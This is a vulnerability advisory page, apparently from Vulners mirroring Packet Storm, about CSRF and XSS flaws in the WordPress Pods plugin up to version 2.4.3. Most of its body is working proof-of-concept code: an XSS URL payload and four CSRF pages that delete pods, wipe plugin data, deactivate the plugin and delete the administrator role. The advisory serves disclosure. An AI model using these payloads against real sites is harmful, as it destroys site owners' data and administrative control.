Lucene search
K

WordPress Pods 2.4.3 CSRF / Cross Site Scripting

🗓️ 12 Jan 2015 00:00:00Reported by Pietro OlivaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

WordPress Pods 2.4.3 XSS and CSRF Vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
CNVD
WordPress Plugin Pods Has Multiple Cross-Site Request Forgery Vulnerabilities
13 Jan 201500:00
cnvd
CNVD
WordPress plugin Pods cross-site scripting vulnerability
13 Jan 201500:00
cnvd
CVE
CVE-2014-7956
15 Jan 201515:00
cve
CVE
CVE-2014-7957
15 Jan 201515:00
cve
Cvelist
CVE-2014-7956
15 Jan 201515:00
cvelist
Cvelist
CVE-2014-7957
15 Jan 201515:00
cvelist
EUVD
EUVD-2014-7806
7 Oct 202500:30
euvd
EUVD
EUVD-2014-7807
7 Oct 202500:30
euvd
NVD
CVE-2014-7956
15 Jan 201515:59
nvd
NVD
CVE-2014-7957
15 Jan 201515:59
nvd
Rows per page
`Vulnerability title: Wordpress plugin Pods <= 2.4.3 XSS and CSRF vulnerabilities  
vulnerabilities  
Author: Pietro Oliva  
CVE: CVE-2014-7956, CVE-2014-7957  
Product: pods  
Affected version: pods <= 2.4.3  
Vulnerabilities fixed in version: 2.5  
  
  
XSS vulnerability (CVE-2014-7956, authentication is needed):  
http://localhost/wp-admin/admin.php?page=pods&action=edit&id=4"></a><script>alert('xss')</script><!--  
  
  
Multiple CSRF (CVE-2014-7957,authentication needed):  
  
CSRF 1 (bruteforce pods IDs and delete them):  
  
<html>  
<body>  
<script>  
target="http://localhost";  
for (i=0; i<50;i++)  
document.write('<img style="display:none"  
src="'+target+'/wp-admin/admin.php?page=pods&action=delete&id='+i+'">');  
</script>  
</body>  
</html>  
  
CSRF 2 (delete pods plugin data):  
  
<html>  
<body onload="document.forms[0].submit();">  
<form method="post"  
action="http://localhost/wordpress/wp-admin/admin.php?page=pods-settings&tab=reset">  
<input type="hidden" name="pods_reset" value="Reset Pods settings and data ">  
</form>  
</html>  
  
CSRF 3 (deactivate pods and delete data):  
  
<html>  
<body onload="document.forms[0].submit();">  
<form method="post"  
action="http://localhost/wordpress/wp-admin/admin.php?page=pods-settings&tab=reset&pods_reset_deactivate=  
Deactivate and Delete Pods data ">  
<input type="hidden" name="pods_reset_deactivate" value=" Deactivate  
and Delete Pods data ">  
</form>  
</html>  
  
CSRF 4 (enable "roles and capabilities" component and delete admin role):  
  
<html>  
<script>  
function continueExecution(){  
document.write('<link rel="stylesheet"  
href="http://localhost/wordpress/wp-admin/admin.php?page=pods-component-roles-and-capabilities&action=delete&id=administrator">');  
}  
document.write('<link rel="stylesheet"  
href="http://localhost/wordpress/wp-admin/admin.php?page=pods-components&action=toggle&id=roles-and-capabilities&toggle=1&toggled=1">');  
setTimeout(continueExecution, 10000);  
</script>  
</html>  
  
CSRF 4 XSS impact:  
  
http://localhost/wp-admin/admin.php?page=pods-components&action=toggle&id=roles-and-capabilities&toggle=1&toggled=111111111"  
onmouseenter="alert('xss')"  
style="width:3000px;height:1000px;left:0px;top:0px;position:absolute;opacity:0;"></a><!--  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation